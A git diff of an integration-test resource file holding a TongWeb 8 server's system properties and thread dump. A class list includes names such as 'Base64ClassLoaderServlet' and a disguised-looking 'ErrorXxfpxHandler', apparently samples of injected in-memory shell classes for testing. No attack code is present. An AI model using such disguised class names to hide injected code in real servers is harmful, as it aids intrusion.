java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188) + +"Thread-32" #142 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@11f6aa0c + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +ServletNameTestFilter +UrlMappingTestFilter +com.tongweb.catalina.authenticator.AuthenticatorBase +com.tongweb.catalina.connector.CoyoteWriter +com.tongweb.catalina.connector.ThanosCoyoteAdaptor +com.tongweb.catalina.core.ApplicationFilterChain +com.tongweb.catalina.core.ContainerBase$ContainerBackgroundProcessor +com.tongweb.catalina.core.StandardContextValve +com.tongweb.catalina.core.StandardEngineValve +com.tongweb.catalina.core.StandardHostValve +com.tongweb.catalina.core.StandardServer +com.tongweb.catalina.core.StandardWrapperValve +com.tongweb.catalina.core.ThanosStandardContextValve +com.tongweb.catalina.core.ThanosStandardEngineValve +com.tongweb.catalina.realm.RealmValve +com.tongweb.catalina.startup.Bootstrap +com.tongweb.catalina.startup.Catalina +com.tongweb.catalina.startup.ThanosCatalina +com.tongweb.catalina.valves.ErrorReportValve +com.tongweb.config.ConfigTool +com.tongweb.coyote.AbstractProcessorLight +com.tongweb.coyote.AbstractProtocol$AsyncTimeout +com.tongweb.coyote.AbstractProtocol$ConnectionHandler +com.tongweb.coyote.http11.Http11Processor +com.tongweb.coyote.http11.ThanosHttp11Processor +com.tongweb.deploy.DeployTimeoutControlService +com.tongweb.deploy.DeployTimeoutControlService$1 +com.tongweb.deploy.TongWebDeployer +com.tongweb.deploy.TongWebDeployer$1 +com.tongweb.deploy.autodeploy.TongWebAutoDeployTask +com.tongweb.deploy.autodeploy.TongWebAutoDeployer +com.tongweb.deploy.commands.DeployCommand +com.tongweb.deploy.util.DeployConfigUtil +com.tongweb.tomee.catalina.OpenEJBSecurityListener$RequestCapturer +com.tongweb.tomee.catalina.OpenEJBValve +com.tongweb.web.util.net.AbstractEndpoint +com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4 +com.tongweb.web.util.net.Nio2Endpoint$SocketProcessor +com.tongweb.web.util.net.NioBlockingSelector$BlockPoller +com.tongweb.web.util.net.NioEndpoint$Acceptor +com.tongweb.web.util.net.NioEndpoint$Poller +com.tongweb.web.util.net.SocketProcessorBase +com.tongweb.web.util.threads.TWThreadPoolExecutor +com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker +com.tongweb.web.util.threads.TaskQueue +com.tongweb.web.util.threads.TaskThread$WrappingRunnable +com.tongweb.web.websocket.server.WsFilter +org.apache.http.client.twewq.ErrorXxfpxHandler diff --git a/integration-test/src/test/resources/infos/TongWeb8ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/TongWeb8062ContainerTestBasicInfo.txt similarity index 86% rename from integration-test/src/test/resources/infos/TongWeb8ContainerTestBasicInfo.txt rename to integration-test/src/test/resources/infos/TongWeb8062ContainerTestBasicInfo.txt index d787525f..ad10ddf9 100644 --- a/integration-test/src/test/resources/infos/TongWeb8ContainerTestBasicInfo.txt +++ b/integration-test/src/test/resources/infos/TongWeb8062ContainerTestBasicInfo.txt @@ -1,99 +1,96 @@ -# Generated At 2023-11-01 12:30:00 +# Generated At 2023-11-01 12:30:10 SystemProps: -java.runtime.name: OpenJDK Runtime Environment -sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64 -java.vm.version: 25.342-b07 -java.vm.vendor: Oracle Corporation -java.vendor.url: http://java.oracle.com/ -path.separator: : -javax.security.jacc.PolicyConfigurationFactory.provider: com.tongweb.tongejb.core.security.JaccProvider$Factory -java.vm.name: OpenJDK 64-Bit Server VM -file.encoding.pkg: sun.io +java.vendor: Temurin sun.java.launcher: SUN_STANDARD -sun.os.patch.level: unknown -tongweb.TONGWEB_STARTED_FLAG: true -java.vm.specification.name: Java Virtual Machine Specification -user.dir: /opt/tweb8/domains/domain1 -java.runtime.version: 1.8.0_342-b07 -derby.system.home: /opt/tweb8/domains/domain1 -java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment -java.endorsed.dirs: /usr/local/openjdk-8/jre/lib/endorsed -os.arch: aarch64 -java.io.tmpdir: /opt/tweb8/domains/domain1/temp -line.separator: - +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.name: Linux +sun.boot.class.path: /opt/java/openjdk/jre/lib/resources.jar:/opt/java/openjdk/jre/lib/rt.jar:/opt/java/openjdk/jre/lib/sunrsasign.jar:/opt/java/openjdk/jre/lib/jsse.jar:/opt/java/openjdk/jre/lib/jce.jar:/opt/java/openjdk/jre/lib/charsets.jar:/opt/java/openjdk/jre/lib/jfr.jar:/opt/java/openjdk/jre/classes +javax.security.jacc.PolicyConfigurationFactory.provider: com.tongweb.tongejb.core.security.JaccProvider$Factory java.vm.specification.vendor: Oracle Corporation -java.naming.factory.url.pkgs: com.tongweb.tongejb.core.ivm.naming +java.runtime.version: 1.8.0_482-b08 +xxx: xxx +org.apache.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal +user.name: root +tongweb.home: /opt/tweb8 +user.language: en +java.naming.factory.initial: com.tongweb.tongejb.core.ivm.naming.java.javaURLContextFactory +derby.system.home: /opt/tweb8/domains/domain1 +sun.boot.library.path: /opt/java/openjdk/jre/lib/amd64 +java.version: 1.8.0_482 java.util.logging.manager: com.tongweb.logger.JulLogManager -os.name: Linux +user.timezone: Etc/UTC +sun.arch.data.model: 64 +java.util.concurrent.ForkJoinPool.common.threadFactory: com.tongweb.web.util.SafeForkJoinWorkerThreadFactory +java.endorsed.dirs: /opt/java/openjdk/jre/lib/endorsed +sun.cpu.isalist: sun.jnu.encoding: UTF-8 -java.library.path: /usr/java/packages/lib/aarch64:/lib:/usr/lib -tongweb.home: /opt/tweb8 +file.encoding.pkg: sun.io +file.separator: / java.specification.name: Java Platform API Specification +tongejb.version: 8 java.class.version: 52.0 -sun.management.compiler: HotSpot 64-Bit Tiered Compilers -os.version: 6.14.10-orbstack-00291-g1b252bd3edea -java.util.concurrent.ForkJoinPool.common.threadFactory: com.tongweb.web.util.SafeForkJoinWorkerThreadFactory -user.home: /root -user.timezone: Etc/UTC -java.awt.printerjob: sun.print.PSPrinterJob -file.encoding: UTF-8 -java.specification.version: 1.8 +user.country: US +java.home: /opt/java/openjdk/jre +java.vm.info: mixed mode +os.version: 6.8.0-111-generic +sun.font.fontmanager: sun.awt.X11FontManager +path.separator: : +java.vm.version: 25.482-b08 bval.in-container: true +java.awt.printerjob: sun.print.PSPrinterJob +sun.io.unicode.encoding: UnicodeLittle +java.specification.maintenance.version: 6 +awt.toolkit: sun.awt.X11.XToolkit tongweb.base: /opt/tweb8/domains/domain1 +java.naming.factory.url.pkgs: com.tongweb.tongejb.core.ivm.naming +java.security.egd: file:/dev/./urandom +user.home: /root +java.specification.vendor: Oracle Corporation +java.library.path: /usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib +java.vendor.url: https://adoptium.net/ +java.vm.vendor: Temurin +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: /opt/tweb8/version8.0.6.2/boot/tongweb-bootstrap.jar startd & java.class.path: /opt/tweb8/version8.0.6.2/boot/tongweb-bootstrap.jar:/opt/tweb8/version8.0.6.2/boot/tongweb-bootstrap.jar -user.name: root -noBanner: true -java.naming.factory.initial: com.tongweb.tongejb.core.ivm.naming.java.javaURLContextFactory -tongweb.version: 8 +java.vm.specification.name: Java Virtual Machine Specification java.vm.specification.version: 1.8 -sun.java.command: /opt/tweb8/version8.0.6.2/boot/tongweb-bootstrap.jar start -java.home: /usr/local/openjdk-8/jre -sun.arch.data.model: 64 -user.language: en -java.specification.vendor: Oracle Corporation -com.tongweb.tongejb.core.security.JaccProvider: com.tongweb.tongejb.core.security.jacc.BasicJaccProvider -awt.toolkit: sun.awt.X11.XToolkit -java.vm.info: mixed mode -java.version: 1.8.0_342 -java.ext.dirs: /usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext -sun.boot.class.path: /usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes -java.awt.headless: true -java.vendor: Oracle Corporation -org.apache.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal -java.security.egd: file:/dev/./urandom -file.separator: / -tongejb.version: 8 -java.vendor.url.bug: http://bugreport.sun.com/bugreport/ -sun.font.fontmanager: sun.awt.X11FontManager -sun.io.unicode.encoding: UnicodeLittle sun.cpu.endian: little +sun.os.patch.level: unknown +java.awt.headless: true +tongweb.TONGWEB_STARTED_FLAG: true +java.io.tmpdir: /opt/tweb8/domains/domain1/temp +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues java.rmi.server.hostname: 127.0.0.1 -sun.cpu.isalist: +os.arch: amd64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /opt/java/openjdk/jre/lib/ext:/usr/java/packages/lib/ext +user.dir: /opt/tweb8/domains/domain1 +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +com.tongweb.tongejb.core.security.JaccProvider: com.tongweb.tongejb.core.security.jacc.BasicJaccProvider +tongweb.version: 8 +file.encoding: UTF-8 +noBanner: true +java.specification.version: 1.8 =========================================== ThreadStacks: -"TW-0.0.0.0-8088-6" #81 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44 +"TW-periodic-5" #83 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@181bea99 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-Timer-Cache" #16 daemon [TIMED_WAITING] - java.lang.Thread.State: TIMED_WAITING - at java.lang.Thread.sleep(Native Method) - at com.tongweb.server.util.Utils$b$a.run(Unknown Source) - -"TW-0.0.0.0-9060-5" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2c592b +"TW-0.0.0.0-9060-1" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@16dc07ea java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -107,7 +104,7 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-0.0.0.0-8088-BlockPoller" #32 daemon [RUNNABLE] +"TW-0.0.0.0-9060-BlockPoller" #31 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) @@ -116,19 +113,7 @@ ThreadStacks: at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) at com.tongweb.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:295) -"TW-Console-Scheduled-2" #96 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@67bd70cb - java.lang.Thread.State: TIMED_WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at java.lang.Thread.run(Thread.java:750) - -"TW-0.0.0.0-9060-ClientPoller" #71 daemon [RUNNABLE] +"TW-0.0.0.0-8080-ClientPoller" #80 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) @@ -138,7 +123,17 @@ ThreadStacks: at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1316) at java.lang.Thread.run(Thread.java:750) -"TW-0.0.0.0-8088-4" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44 +"TW-0.0.0.0-9060-Acceptor" #66 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:499) + at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:48) + at com.tongweb.web.util.net.Acceptor.run(Acceptor.java:73) + at java.lang.Thread.run(Thread.java:750) + +"TW-0.0.0.0-8080-5" #74 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@12e381e9 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -152,34 +147,43 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-periodic-1" #73 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5 +"GC Daemon" #30 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@57e10dd1 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@10e96a96 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188) + +"TW-Server-Thread-1" #19 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@66fcdc36 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-0.0.0.0-8088-10" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44 +"TW-Server-Thread-5" #23 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@66fcdc36 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-Server-Thread-1" #19 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5 +"TW-Server-Thread-10" #28 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@66fcdc36 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -191,37 +195,32 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"TW-periodic-7" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5 +"TW-Server-Thread-9" #27 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@66fcdc36 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-0.0.0.0-9060-2" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2c592b +"TW-periodic-10" #88 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@181bea99 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"Signal Dispatcher" #4 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - -"TW-0.0.0.0-9060-4" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2c592b +"TW-0.0.0.0-8080-4" #73 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@12e381e9 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -235,7 +234,7 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-0.0.0.0-8088-7" #82 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44 +"TW-0.0.0.0-8080-9" #78 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@12e381e9 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -249,7 +248,7 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-periodic-5" #89 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5 +"TW-Server-Scheduled-7" #102 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@681ee5c9 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -259,36 +258,34 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-0.0.0.0-8088-5" #80 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44 +"TW-periodic-8" #86 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@181bea99 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-Server-Thread-4" #22 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5 - java.lang.Thread.State: WAITING +"TW-Server-Scheduled-3" #96 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@681ee5c9 + java.lang.Thread.State: TIMED_WAITING at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) - at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) - at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"TW-Console-Scheduled-3" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@67bd70cb +"TW-periodic-3" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@181bea99 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -298,36 +295,24 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-Console-Thread-2" #94 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@63229dac +"TW-0.0.0.0-8080-3" #72 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@12e381e9 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) - at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) - at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-0.0.0.0-8088-Acceptor" #87 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at 